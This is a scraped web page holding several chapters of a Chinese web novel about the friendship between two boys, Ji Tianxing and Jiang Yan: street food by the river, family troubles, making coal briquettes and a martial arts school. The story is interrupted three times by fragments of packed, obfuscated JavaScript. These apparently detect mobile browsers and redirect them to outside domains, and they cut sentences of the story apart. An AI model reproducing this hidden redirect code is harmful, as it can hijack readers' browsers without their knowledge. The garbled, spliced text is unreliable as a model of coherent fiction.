和别人在一起玩儿,总是江晏请客的时候多。但好像和纪天星一起,倒是有点要反过来的意思。平心而论,江晏其实根本不在乎这点钱,毕竟金宝珍一天的收入是他们身边很多人家几个月甚至一年的收入,他的零用钱远比身边朋友知道的更多。 江晏不缺朋友,不缺陪他玩乐吃饭的朋友,不缺平时借他抄作业抄笔记的朋友,也不缺那种义字当头,肯为他打架背锅的朋友。思来想去,纪天星怎么也不算是其中的任何一种——他实在和别人都不大一样。 虽然很多时候这位小朋友所谓的请客只是几个水果和几块糖,可江晏看得挺清楚的,纪天星全身上下总共就那点东西,已经全都拿出来了。 这让他认定纪天星好像有点傻,可又从心里觉得熨贴,有种说不出的舒服和安心。江晏想了想,决定把这位小朋友单独划成一类朋友。 纪天星在他眼前挥手:“想什么呢?快说快说!我好去排队!” “丸子就好,烤串……要两串烤香菇。” 小店两个外食窗口,一个点串,一个排长队等着买丸子。点完了烤串,纪天星把江晏丢在队伍后头,自己凑到前面去看。看了半天,又噔噔噔跑回来:“有豆腐和萝卜的,都是一个价,你吃什么?” “都行。”江晏道。 “唔,那就一样一半好了……”纪天星掏出兜里的钱,攥在手心里,继续抻着脖子张望。周围的大人都看他,有些上了年纪的阿姨就笑:“谁家小孩儿,长得这么俊呢。” “那是呀。”纪天星大大方方地接受夸奖。 江晏看着他那个得意的样子,不禁莞尔。 窗子后头两口大锅,丸子出的很快。不一会儿就排到了他们。纪天星跷起脚,大声要求道:“一样一斤,分开装!再多给我两个牛皮纸袋子!” 江晏愣了,赶忙道:“等一下,吃不完……” “给我姥姥捎一份。”纪天星很自然道。 “那也吃不完呀……”江晏担忧。 “你尽量吃嘛。”纪天星很自然道。 装丸子的阿姨看见纪天星,也夸他:“这孩儿,长得这么好看呢。” 纪天星立刻顺杆儿爬:“谢谢阿姨,那阿姨你多给我装几个丸子呀。” “好好好,没问题,吃好再来哈。”阿姨称完了分量,真的额外又给他多装了好几个丸子。 纪天星付好了钱,拎着丸子挤出队伍,对江晏道:“你先拿。” 江晏拿出一个,吹了好久才放嘴里,还是有点烫,但味道真的好极了——毕竟是才出锅的炸货。 烧烤这会儿也好了。纪天星去取了来,拎着好大的口袋四处张望:“我们找个吃东西的地方吧。” “这里是上堤路,离江边不远了。”江晏接过他手中的袋子:“走过去,丸子差不多也温乎了。” “那走吧。”纪天星没有二话,蹦蹦跳跳地向前。 江晏腿长,不慌不忙地跟在他旁边。 上堤路和上码头路一样,也是去往江边的路。出了农贸市场,越往江畔走越是商行林立,都是做大宗商品批发的。不算很宽阔的街道上,到处都能看见拉货的三轮,拉脚的摩的,还有扛包的力工——好些人背上的包裹都比底下的人大了好几倍。 纪天星惊叹道:“好大的力气啊。” 江晏想了想,开口道:“那样的大包裹里一般都是服装之类的。” “你真厉害,还能看出里头是什么。”纪天星真心实意道。 “看久了就知道一点。”江晏带着他往前走:“你家里不也是做生意的么?” “我爸是……嗯,现在不是我爸了。”纪天星很自然道:“不过我也不知道他到底是做什么的。” 江晏觉得纪天星这点也很奇怪。这年头,别人总把父母离婚视为一件需要遮掩的事。纪天星倒是毫不避讳,好像对他来说,根本没什么事是需要避讳的。 “那你爸生意做得应该蛮大的。”江晏随口道。 “咦,你怎么知道。”纪天星有点惊奇。 “小生意人,家里才能常常看见生意上的东西,因为要自己打理生意。”江晏解释:“做大生意的,生意都在外面谈了,下面的事有下面的人做,家里人基本见不到生意上的东西。” “这样啊……”纪天星略微思索了一下,很快就不在意了:“管他呢,反正和我没关系啦。我跟我妈,我们和他断绝关系了。” 江晏皱眉:“不给抚养费?” “抚养费是什么?”纪天星不解:“我是我妈妈和姥姥养的。” “没什么。”江晏黯然道。没有抚养费。他想。潘庆的爸爸离婚后也没给过他们母子抚养费。男人离婚时好像都会这样,很绝情。江显声也不会是例外。金宝珍不缺钱,但这是两回事。 “你怎么啦?”纪天星从下面扭过头看他的脸。 “没什么。”江晏抬头,看见了马路对面自家的烟酒行,对纪天星道:“那是我家的店。” “好大哦……”纪天星看着那一个店面占了三个店面位置的明亮落地玻璃,感叹道:“诶,那是你妈妈么?” 金宝珍一袭明黄呢子长裙,正在玻璃后面拿着计算器,和一个夹皮包的西装男人谈着什么。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15384908|165850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“嗯。” “阿姨好漂亮,你眼睛嘴巴长得像她。”纪天星小声道。 “嗯。”江晏淡淡的:“走吧。” “不过去打招呼么?”纪天星道。 “她忙着,算了。”江晏揽过纪天星,走了过去。 快到江边的时候,纪天星掏出裤兜里最后的几块钱,买了两瓶白梨汽水,然后和江晏一起爬上江堤,坐到了矮矮的花岗岩围栏上。 天气虽然仍是冷的,但太阳很晃眼,深色的石头围栏被晒得热乎乎的,坐上去很舒服。 纪天星让江晏撑开牛皮纸袋子,把给姥姥的丸子留出来,然后和他大口分享起余下的美食。 丸子仍是又热又脆的,只是不那么烫人了。白梨汽水虽然冰冰凉的,汽却很足。素烧烤也很好吃,烤面筋居然有肉的味道。纪天星吃了烤串,又把丸子穿到竹签上,一口一个,满脸开心。 江晏慢慢吃着烤香菇,目光落到了江面上。江北的冰已经开化了,江南这边却还是皑皑的白色,偶尔能看见一片碎冰从冰盖上脱落下来,一路轻轻撞着冰盖,缓慢地顺水流下去。 纪天星一边吃,一边却在看周围。江堤附近除了他们,还有不少人。好几棵大树底下都有下棋和打牌的,远处的空地上,还有支着音响跳舞的,更远一些,甚至还有个非常小的蹦床乐园……当然零星也有几份摆摊儿卖东西的,卖的似乎是新钓上来的江鱼。总之这里虽不比市场那边人声鼎沸的,可也算得上小有人气,比冬天那会儿热闹多了。 只是这零星的热闹,被望不见尽头的大江一映,立刻显得很小很小。 纪天星吃完了串上的丸子,回头看江晏手上的香菇才吃了半串,不禁担忧道:“香菇不好吃么?” “好吃啊。” 纪天星拿起一串烤香菇,咬了一口:“是啊,挺好吃的……那你怎么不高兴。” “我没不高兴啊。”江晏有些茫然,不知道纪天星是怎么得出这个结论的。 纪天星却没解释,而是很认真地看着他:“可是你看起来就是心里有事啊。” 江晏看着他明亮的眼睛,不知道该说什么。有么,好像没有,但又好像确实有很多,模模糊糊地压在心里,他懒得去想。 “都会过去的。”纪天星认真道:“什么事都是。” “那要很久呢。”半晌,江晏轻叹。 “日子很快的。”这番话没头没脑,纪天星却好像真的听懂了:“我姥姥总说,一眨眼一辈子就过去了。” “一辈子……”江晏在春风和太阳底下看他。纪天星认真说什么的时候,既不狡黠,也没有怒容,他小小的面容很沉静,很温柔,有种超越年龄的笃定。 那种笃定让江晏心里忽然一轻:“也是呢。” “喏,快吃,凉了就不好吃了。”纪天星说完那些话,又恢复了活泼过头模样:“吃完了咱们就走啦。” “你要回家了么。”江晏感到自己刚飘起来的心又落下去:“嗯,我也得回庙里了……” “回那里做什么?”纪天星立刻不高兴了:“回去坏蛋和尚又要使唤你干活儿了……才不给他们干活呢。” “我只是……”江晏终于说出了那句话:“不想那么早回家……” “去我家!”纪天星跳下围栏,替他做了决定:“看电视去!” 太阳往头顶走,明亮的暖意落在江晏脸上。堤下传来碎冰撞击的动静,更多的冰块稀里哗啦地从冰盖上脱落,互相撞击,越落越多,哗啦啦地随水而去。 春寒已尽,春水泛暖。 开江了。 10.夏雨绵 1 六月底,初一下学期的期末考试成绩出来了。为了假期不上补习班,纪天星在期末那半个月里铆足了力气好好学习,总算是考进了班级前三。他上学太早,认真算起来比班上大部分学生要小两三岁,班主任很诚恳地告诉何玉秋,才十周岁多点的孩子上初一,能有这个成绩已经很好很好了,家长不用太过焦虑。 何玉秋因此对外孙稍稍放心,终于松口,说补习班等初二再上也不迟。 过了暑假就是初二了。纪天星苦着脸哼唧。哼唧完了,想到在那之前仍可以开心地玩上一整个暑假,他又像大号弹力球一样屋里屋外蹦个不停。 纪妙菲打电话过来,他很骄傲地说考了班级第三名。妈妈在电话那头也很高兴,承诺给他买遥控小汽车和最新款的随身听。遥控小汽车和随身听当然都很好,可他心里更想纪妙菲回来。 电话那头的纪妙菲听起来心情不错,说终于要回来一笔钱,在深城找了份服装销售的工作,这边钱比老家好赚得多,她得留下来赚钱,回家只能等到过年了。聊了一会儿,又赶紧喊何玉秋听电话,因为要给家里汇钱。 纪天星抱着姥姥的腰,在电话边上光明正大的偷听。纪妙菲在电话里得意的说身边好几个大老板正在追她,个个都是丑八怪,所以她一个也没看上。何玉秋劝她好好上班,好好攒钱,不必汇钱回来,也不要总是想着找男人。还没念叨上两句,纪妙菲立刻话头一转,又兴冲冲地规划起未来,说等来年都安顿好了,要把纪天星接过去。她身边做外贸服装生意的多,很缺童模。以纪天星的容貌,做一个暑假的童模,就能轻松赚到成人模特一年的收入。那边挨着香江,星探也多,自己的儿子鹤立鸡群,将来肯定可以做电影明星,大红大紫。 纪天星听着,感到有些神往,又有些说不出的难受。纪妙菲说接自己走,是住一阵子呢,还是一直住下去呢?和妈妈团聚当然很好,可自己要是走了,姥姥该怎么办呢。再一看何玉秋欲言又止的表情,就知道姥姥又在上火了。 电话挂掉,何玉秋果然很愁闷地叹了口气,对纪天星道:“别听你妈瞎说,她又想一出是一出了。说什么童模,小孩子不好好上学,天天在外头干活,那不就是旧社会的童工么……赚钱是大人的事啊。” 纪天星不解,小声道:“多赚钱不好么?以后我做了大明星,姥姥你就不用天天早起去包包子了……”他真心实意道:“我给你买大房子,大金镯子,买好多好多好吃的……” 何玉秋的神色温和下来,很爱怜地摸他的脑袋:“姥姥不要那个,姥姥要你健健康康的,好好学点本事,将来有份安稳的好工作,能自食其力。” “做明星不是好工作么?”纪天星还是不懂。 “那条路难得很……”何玉秋望着墙上纪有年的画,似乎陷入了某种回忆:“外貌,天赋,人脉,运气……缺一不可的。光是靠长相吃青春饭,容易让人拉到邪路上去。一旦陷进去了,想爬都爬不出来……”她低声道:“要是再赶上不好的时候,人家拿作风说事,第一个打倒的就是你……” 纪天星听妈妈说过一点,姥姥年轻时是话剧团的,会唱戏,会弹琵琶和月琴。但那已经是很久很久前的事了。她后来做了百货公司的售货员,又从那个位置退休,如今是个再普通不过的老太太。 她一辈子手巧又勤快,却也吃了不少苦。纪有年在工艺品厂做画工,家里却从没见过他一分钱。那点工资不是喝酒,就是去买了画材。他沉浸在臆想的世界里,认定自己是一位怀才不遇并饱受迫害的大师。但活人总要吃喝,家里的米面油是怎么来的,他假装不知道。 那年头普普通通的正经人家都是靠一点死工资过活,家家户户日子都不富裕,按说纪家明明是两个人在上班,膝下也只有一个孩子,不至于过得穷困。可纪妙菲说起童年,总是充满怨气。她说纪有年脑子有问题,偶尔有人肯买他的画,他也是不情不愿,认定买画的人都不识货,给的价太低了。可就算是把画卖了出去,家里依旧见不到他的钱。她说自己这辈子最恨的时候就是某个冬天出门去买大酱,准备回来和何玉秋炖豆腐吃,结果发现纪有年一个人在三阳斋对着铜锅吃涮羊肉。 纪天星对姥爷没什么印象。因为纪有年四十多岁就死了。人走得挺突然的,是和同事喝了顿大酒之后就再没醒。他两腿一蹬,撒丫子而去,除了卖不掉的画,还给何玉秋母子俩留了一千块的外债——裱画店的钱没给人家结清。 纪妙菲说起他没一句好话。何玉秋却是另一番说辞。她说纪有年是个好人,只是心里苦。纪天星不明白,说自己苦难道就能折腾别人么?何玉秋就笑一笑,说你姥爷也不是什么都不做啊,家里的重活,累活,脏活,都是他干的。他不在外头胡搞,而且发再大的火,也不打老婆孩子。没有十全十美的人,日子都是这么过下来的。 纪天星还是很不解,说不打老婆孩子不是应该的么。所以姥姥你到底看上他什么了呀?何玉秋脸有点红,拍纪天星屁股,说他没大没小。拍完了,小声承认:你姥爷年轻时长得好看呀,人也仗义,还画得一手好画。他就是嘴馋了点儿,好吃独食,那也算不上什么毛病。 嘴馋好像确实不能算罪过,纪天星有点心虚地想,自己也喜欢吃好吃的,但吃独食肯定是不对的。倒是说起好看,何玉秋的黑白结婚照上,年轻的纪有年确实是很俊朗的。纪妙菲的五官继承自何玉秋,但何玉秋面容温婉,纪妙菲却很锐利。那锐利的轮廓无疑来自纪有年。 他东想西想,很快把纪妙菲要接走他的事忘到了一边——今年干嘛要想明年的事呢。暑假开始了,他准备好好地玩个痛快。 现在不比从前,游乐园肯定是去不成了,也不能坐飞机和骑大马了。幸而也不用再天天对着大提琴拉锯,在音乐厅里打瞌睡了。 外头下雨,不好出门,于是纪天星兴冲冲地在家里翻箱倒柜,找出了好多纪有年留下的画材。柜子里什么样的彩笔颜料都有,什么样的画纸也都有。姥姥说留着也没什么用,随他去玩儿。于是他就快快乐乐地趴在桌子上画起画来。 何玉秋在边上整理纪妙菲寄回来的包裹——都是些样式很时髦的新童装。做母亲的热爱打扮自己,也热爱打扮儿子。包裹里还有几盒南方点心,都是铁盒子装的,一盒没几块。何玉秋把点心打开,自己没动,都放到了纪天星的床头——省着纪天星老是喊饿。她理着理着,衣服里掉下来一个红色的小绸布口袋。何玉秋打开,发票里包着一枚带克重标签的金戒指,印章落款是那边一个很有名的金行。何玉秋看了一会儿,擦了擦眼睛。 纪天星抬起头,担忧道:“姥姥你怎么了?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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纪天星坐在灶台下啃着脆甜的香瓜,汁水和香瓜子都糊到了脸上。香瓜几口就吃完了,可离排骨炖好还要很久很久。何玉秋给他擦干净脸,打发他去玩儿,纪天星只好恋恋不舍地离开香喷喷的锅台,到屋里去了。 他在桌前忙碌半晌,画完了大作一幅。晚饭还没有做好的意思。纪天星趴在桌子上,闻着厨房飘来的香气,抬头看着客厅窗台上那一盆盆郁郁葱葱的花——姥姥把它们照顾得很好,绣球,月季和茉莉这会儿都开了花,连仙人球都冒出了一只小小的花骨朵。 何玉秋说趁着天暖,过两天要给家里的花分盆。纪天星突然想起江晏家里一盆花都没有,于是很想送他一盆。期末忙着复习和考试,他有好一阵子没见江晏了。但假期来了,他们又可以常常在一起玩儿了。 想到这里,他爬起来,准备给江晏打个电话。没想到家里的电话倒是先响了。 纪天星赶紧跑过去接起来:“喂,请问您是哪位……” “是我。”江晏的声音在那边响起来,有点踌躇:“你期末考得怎么样,要上补课班么?” “挺好的呀。”纪天星立刻开心起来:“补课班不用上了。你呢?” “我也不用。”江晏的声音轻松了一点:“不过要上别的课外班。” “哦。”纪天星有些失望:“那……” “明天要不要出来玩儿?” “要!”纪天星立刻欢天喜地:“我去找你!” 11.夏雨绵 2 暑假头一天,电话里原本说好了,要去江桥下钓鱼。结果天公不作美,纪天星早上睁开眼睛,发现外头仍然在下雨。 姥姥已经早早地上班去了。他有些低落地从床上爬起来,知道这样的天气,想出去玩儿是不可能了。 踢踢踏踏地走到客厅,想给江晏打一个电话,结果电话那头没有人接,嘟嘟响了一会儿后,就自动挂机了。纪天星不死心,又拨了两次,这两次等到最后,都转了答录机。 看来江晏是真的没在家了。那么是家里突然有什么事么?该不会是一个人在家,又晕倒了吧?纪天星有点担心。他打开家门,想去看看外头的雨有多大,却在跑马廊外听到了一阵自行车铃声。 雨下得不大不小,那自行车铃很轻,响了一阵儿,又消失了。 片刻后,大院儿门洞里忽然冒出来一个推车的人,正手搭凉棚抬头向这边望来。 纪天星惊喜道:“江晏!” 他立刻抓起伞,跑了下去。 江晏把绑着鱼竿包和小马扎的自行车锁在了楼下,提着个袋子跟纪天星上楼,刚进门就打了个惊天动地的大喷嚏。 “路上雨是不是很大?”纪天星拿了毛巾给他擦脸,关切道。 “也没有。”江晏脱掉雨衣,一副不甚在意的样子。 纪天星笑起来:“你是多想去钓鱼呀。” “再不出来找你玩儿,过些天我就要去姥姥家过暑假了。”江晏解释道:“说不定一会儿雨就停了呢。” “哦。”纪天星不笑了,感到有点寂寞:“你暑假也不在家呀……” 他身边要好的朋友,祝晴和沈楠假期都要上托管班。在安乐里,不是所有的小孩都能拥有自由自在的暑假。本地双职工家庭很多,那些无暇照顾孩子,又对孩子要求严格的家长,假期就会花点钱,把孩子送到老师那里。硬说起来,算是另一种形式的上学了。 江晏的父母忙生意,向来对他的学习不太上心。江晏本身也不用人在这方面操心。他成绩中等偏上,不惹事不调皮,算得上那种让人省心的小孩。所以也没人想起来要怎样管束他。 至于纪天星嘛……何玉秋对孩子学习的认知还停留在“只有成绩不好才需要上补课班”,她记得每天给纪天星做好吃的,关注他的衣物增减,但没有太多“要把孩子牢牢看住才行”的概念——她们那个年代的人养孩子,孩子似乎就应该是满大街跑的。 因为这样殊途同归的境况,所以江晏和纪天星成了两条补课班大网之下的漏网之鱼。纪天星本以为他们能很容易凑到一起玩儿的。 他深深地叹了口气。 “所以我要赶紧来找你呀。”江晏安慰道:“应该也不会呆很久的。等回来了,我给你带好吃的。”他打开手里的袋子:“你吃早饭了没有?我买了新出锅的烧卖。” “没有。”纪天星还是不大高兴,但他知道这不是江晏的错,何况还有什么比吃早饭更要紧呢。他跑到灶台边:“有小米粥和凉菜,还有排骨。正好咱们一起吃吧。” 江晏洗了手,很自然地跟在他后头,帮忙拿碗筷:“七月中旬大顺就旅游回来了,我不在的话,你可以去找他玩儿嘛。” “不要。”纪天星嫌弃道:“他吃东西都不洗手。” 江晏眨了眨眼睛,默默地又去洗了一遍手。 羊肉烧卖套了好几层塑料口袋,一点也没被雨淋到,这会儿还是热的,配上温乎的小米粥和爽口的凉菜,再搭上几块炖得酥烂的排骨,真是完美的早餐。纪天星在小碟子里倒了点醋和辣椒油蘸烧卖,江晏吃得比纪天星还大口一些——大清早骑车过来,他确实饿了。 纪天星看着他:“去姥姥家那么开心呀?” “嗯。”江晏点头:“我只有假期才能见到她和我姥爷。” 纪天星想起何玉秋,真心实意替江晏高兴起来:“那你可以好好过个清净暑假了。” “也不一定清净。”江晏道:“农村很忙的,地里要干活。” “那总是自己家的地里呀。”纪天星安慰道。他忽然想起来一件事:“你是不是好久都没去庙里了?” “嗯。”江晏把最后一个烧卖推给纪天星:“奶奶说最近都不让我过去了,庙里有点乱。” “诶,为什么?”纪天星嚼着烧卖,好奇道。 “就是有人换牌位的事被方丈发现了。” 说起来这件事被发现的过程也很离谱。听人传言,大概是有天那个僧人出药师殿的时候被门槛绊倒,磕到了脑袋。香客和居士们去扶他,听他断断续续地说胡话,把旧日里做的事都讲了出来。可等清醒过来,他又不承认了。 但当时毕竟许多人在场,大家都听得清楚,传出去之后,很快有人上门来闹。于是方丈着人把庙里往生殿和药师殿里的牌位,长明灯,全都查了一遍,查完这些还不够,又开始查库房的帐。最后从居士到和尚,撵走了好几个人,反正搞得鸡飞狗跳的。 纪天星听完,惊奇之后又觉得很欣慰:“以后就不会有人干坏事啦。” “你往后不好进庙来了。”江晏却在想别的:“他们把后面的栅栏门给换成大铁门了。” “我还可以翻墙嘛。”纪天星毫不在意。 江晏莞尔:“也对。” 于是两个孩子都放下了这件事。 吃完了饭,江晏很自然地收拾碗筷,顺便帮纪天星打扫炉灶。扫完了,余光瞥见了灶台边空着的煤桶:“没有煤了。” “嗯。”纪天星不在意:“去棚子里拿点就行了。” “那我现在去吧。”江晏道:“你家棚子在哪儿?” “下雨呢!”纪天星阻止道。 “没事儿。”江晏道:“不是不远么?你家里烧炉灶,总要用煤的呀。”他声音小了点:“万一到了中午雨还不停呢?” 要是中午雨还不停,江晏就会留下来吃午饭……那么就可以一天都在一起玩儿了。纪天星转了转眼睛。而且煤和绊子都很沉,江晏主动要帮忙,正好省着自己费力气了。想到这些,他点点头,故作矜持道:“那好吧,我带你去。” 两个孩子打着伞下了楼,绕到楼后的棚子去。永和大院儿正院儿瞅着还挺干净利索的,可是大院儿后头就是另一番样子了。 这边大概因为总是被堆满秋菜和煤块的车子反复碾压,青石砖早就破碎不堪,道路高低不平,泥泞一片,稍微下点雨就积起水来。至于那些棚子,外头瞅着也是各有各的凌乱。有些人家花心思好好修整过,虽然东补西补的,看着也还算稳当,也有些干脆七扭八歪的,感觉棚顶稍微压点儿什么就能倒成一地。总之不管远看近看,这片儿储物区都是杂乱一片,属于当之无愧的“棚户区”。 纪天星在雨中偷窥江晏的神色,发现江晏特别平静自然,没有半点儿不自在的样子。 纪天星自己做过有钱人家的小孩,知道有钱人家的孩子是什么德行。就拿他自己来说,娇气与挑剔至今都没办法改掉。 但江晏并不是那样的。纪天星也说不上来,只是觉得以家境来说,江晏和其他那些有钱人家的小孩实在很不一样——他和谁都能玩儿到一起去,什么事情都会做,既不会高看谁,也不会瞧不起谁。纪天星和他在一起,总是很舒服的。 江晏人真好。纪天星又一次想。 棚户区不大不小,他很快找到了自己家的棚子。大铁锁一开,拉了灯绳,不大不小的内部一览无余,地上还有个菜窖入口。 虽然只是放杂物的棚子,也被何玉秋收拾得相当干净利索。劈好的绊子都整整齐齐地码在最里面,上头盖了防水布。煤则堆在一侧:地上是泥炭状的细煤,箱子里是乌黑发亮的煤块。做好的蜂窝煤摞在绊子堆边上,已经不剩几块了。棚子另外一侧要更规整些,旧柜子和旧架子上,规整地码着些旧物和工具,看起来连灰尘都没多少。 江晏把桶放下,看了一圈儿,发现了脱蜂窝煤坯子的模具:“反正也没事,帮你做点蜂窝煤吧。” “你连这个都会?”纪天星惊奇极了。 “很简单啊。”江晏找了个空桶,放到棚子外头接雨水,然后用铁锹铲出了一小堆细煤,仔细拢好,在最中间挖了个坑:“我姥姥家里有时候也烧蜂窝煤的。” 雨水很快接了个桶底,他把桶拎进来,掺水进去拌匀,然后用模具压下去,又拎到干爽的地方一块块脱模。绊子堆前的地上很快就整齐地出现了一行蜂窝煤。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15416008|165850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 纪天星探头探脑:“我也要玩儿!” 江晏把模具递给他,在边上帮忙把煤铲到一起。 结果纪天星只做了几个,就手臂酸痛,没力气了——铸铁的模具沉得要命,真不知道姥姥平时一个人怎么做得了这些活计:“好重呀……” “还是我来吧。”江晏把铁锹递给他,和他换了一下。 铁锹也很重。纪天星铲了几下,深深叹气。江晏好像总是干活儿没够,纪天星实在是理解不了他这种过分的勤快。 江晏手快,很快就做完了。剩下的一点不够压模,被他又铲回煤堆里了。棚子里恢复了干净整齐的模样,只是地上多了几排蜂窝煤——新做的蜂窝煤要等晾干才能用了。 他利落地用之前剩下的蜂窝煤和木头绊子装满铁皮桶,稳稳拎起来:“好了。” 纪天星关灯锁门,高高撑着伞,和他一起回了家。 雨并没有要停的意思,江晏忙着用绊子和蜂窝煤把炉灶填满,在炉口塞上许多引火的旧报纸团。他做这些相当熟练,根本看不出家里是住暖气房的。 纪天星遥遥看了一会儿姥姥的花儿,若有所思地回头:“你什么时候过生日呀?” “要冬天呢。”江晏随口道。 “咦,那你生日不会比我还小吧?” “怎么会?”江晏笑他:“全年级都没几个比你生日更小的吧?” “你怎么知道?”纪天星惊讶。 “唔,办公室交作业的时候看到的……”江晏含混道。 “那你是属什么的?”纪天星好奇起来。 “我属虎。”江晏收拾好炉灶,去洗手了。 “不可能。”纪天星震惊:“那你不就只比我大半岁么?” “有什么不可能的。”江晏嘴角上扬,少见的露出一点得意来:“快叫哥。” “不叫。”纪天星立刻道。 “大半岁也是大嘛。”江晏凑近了,伸手向他比划:“而且我还比你高这么多……快点,叫声哥来听听。” “不叫!”纪天星扭开头。 “反正你叫不叫,我都比你大。”江晏耸耸肩,一锤定音。 纪天星哼了一声:“你就不能属点别的么?” “属相还能随便改么?”江晏难以理解。 “可是我属兔啊。”纪天星小声嘟囔。 “那又怎么了?”江晏露出了些许迷惑。 “哼。”纪天星跑开了。 片刻后,江晏跟上来,发现他趴在客厅窗台前,正挨个拨弄那些花儿。 “不叫就不叫吧。”江晏小声道:“逗你玩儿的。” 纪天星回头,看见他平静的脸,不知怎么的,有点觉得自己欺负了他。 他小声道:“哎呀不说那个了。你挑一盆喜欢的吧。” “诶?” “送你的呀。”纪天星瞪着他:“快点儿!” “我养不了。”江晏的声音低下去:“我爸妈打起来什么都摔。” “可我想送你啊……”纪天星失望道。他思考片刻,忽然道:“那这样,你挑一盆,这个花就是你的了,但是养在我这里。” 江晏惊奇道:“还可以这样么……” “怎么不可以。”纪天星理所当然道:“你喜欢哪一盆?” 江晏思索片刻,认真看了看每一盆花,最后指着一盆小小的仙人球道:“那我要这个。” “等我一下。”纪天星跑到屋里,从图画本上剪下一片纸,工工整整写下了“江晏的花”,贴好透明胶,然后跑回来,端正地粘在了那个花盆上。 “好了。”纪天星宣布:“现在它是你的啦。”他补充道:“你要常来看它呀。” 江晏端详着那盆仙人球上的字,眨了眨眼睛,抿嘴笑了:“好,那一言为定?” 纪天星撇嘴:“切,难到我还能骗你不成?”他伸出手,用力勾了勾江晏的小指:“这样可以了吧?”他认真保证道:“你放心,我会好好照顾它的。” “嗯。”江晏看着他,又笑,眼睛弯弯的。 外头的雨还在下,纪天星却觉得心情好极了。他拉过江晏:“走,带你去阁楼看我姥爷的画!” 12.夏雨绵 3 这一年的七月,雨水比往年要多。有时早上天还是晴的,不到中午又开始飘雨。雨倒是不至于很大,但下了雨,就很难在外头自由玩耍了。 江晏说到做到,回乡下过暑假之前,他几乎每天都来找纪天星玩儿。可惜总是玩儿到一半,就不得不四处避雨。因为外头是这样的天气,所以后面几天他干脆把纪天星直接带去了武馆。 武馆在庙东面的水塔后头,一个半旧不新的三层小楼里——据说这里原来是滨江酒精厂的工人活动中心。酒精厂七八年前倒闭,资产拆分处理,这栋楼也不知道被廉价卖给了哪一位私人商户,几经倒手和出租,如今变成了一个课外班汇集地,附近的人都管这边叫水塔艺校。 江晏学拳的养和武馆占据了一楼半边,另一边是个跆拳道馆。楼上还有一个舞蹈学校,一个乒乓球馆,以及几家私人的书画和乐器班。总之整个看起来非常似模似样,有那么点民间少年宫的意思。 武馆原来不在这边,是在长乐园永宁巷的一栋老破小里,安安稳稳地开了挺多年。但老于头的儿子,也就是江晏要叫大师兄的于叔,下岗之后急迫地想要搞一番事业。继承亲爹的武馆并把它做大做强,似乎就成了一个十分理想的选择。 武馆换了地方,也算是鸟枪换炮。新地址自然租金不菲,所以学员的教学费用也跟着水涨船高——江晏自己的学费就每月贵了一百块。好在六月初搬过来,没多久就赶上了暑假,忙着上班的家长们急需让孩子有个去处,所以就算抱怨两句,也还是老实交了学费。 硬要说换地方有什么好处,大概是懒散惯了的老于头作为馆主,不得不打起精神,比从前花更多时间给众人演示他的功夫——七十好几的老头,为了儿孙,又不得不支棱起来。 江晏默不作声地看着,觉得奶奶说得也有几分道理:儿女债确实比世上的什么债务都要可怕。 为了尽快给武馆招来生源,于叔带着全家老小在附近的学校和幼儿园门口广发传单。别说,居然当真拉来了不少新学生。能不能学得长久不好说,但反正学费总是收到了的。 老于头对这种收徒模式嗤之以鼻,他信道不轻传,法不贱卖。然而一大家子人要吃要喝的,那些老规矩只能是被睁一只眼闭一只眼地抛到了一边去。 新来的小孩子和大孩子们被江晏的师兄们分成两拨,带着在训练室里压腿俯腰。纪天星则坐在后院的石头亭子里,看江晏和其他几个师弟打套路拳。 江晏慢条斯理地打完了一套八卦游身掌,纪天星立刻啪啪拍手。还没等拍够,就看老于头端着茶缸子走过去,没好气道:“好些日子没练了吧?” 江晏老实道:“期末忙。” “去太阳底下扎四十分钟马步。” 江晏走到日头大的地方,双臂屈肘抱于胸前,安安静静地站下了。老于头从两侧推了推他的肩,没推动,于是不再说什么,又去数落其他几个徒弟。每个人都能让他挑出点错来。但数落完了,谁也没挨罚,他让他们该干什么干什么去了。 然后他也端着茶缸子往小楼那边走。露过亭子时,老头上下打量了几眼纪天星,没说什么,径自离开了。 他一消失,纪天星就跳起来:“好啦他走了你不用挨罚了。” “也不算挨罚。”江晏稳稳当当地保持着那个姿势:“本来就是每天都要扎的,是我懒散了。” 他半年一交学费,本来说好每天都可以过来。但事实上现在一周只来一两次。老于头也不大管他,问就是说江晏年纪太小,卯足了力气练武属于揠苗助长,影响生长发育。反正家长也不来问,师徒两个都心照不宣地散漫着。 太阳没一会儿就给云遮住了,看上去又是个要飘雨的天。 纪天星在江晏身边绕来绕去,好奇地看他。江晏稳稳地站在那里,额头上开始冒汗:“要么我教你打拳吧,虽然我没师父厉害,但教简单的还是可以的。” “不要。”纪天星想到训练室里那些呲牙咧嘴的小孩,果断摇头:“练武好苦。” “但你以后和别人打架,赢面就大了。”江晏道。 “输了也没什么呀。”纪天星:“我还可以跑么。” 江晏张了张嘴。 “我知道你是好心。”纪天星蹲在他跟前,托腮看他:“不过我是来玩儿的,才不要吃苦呢。” 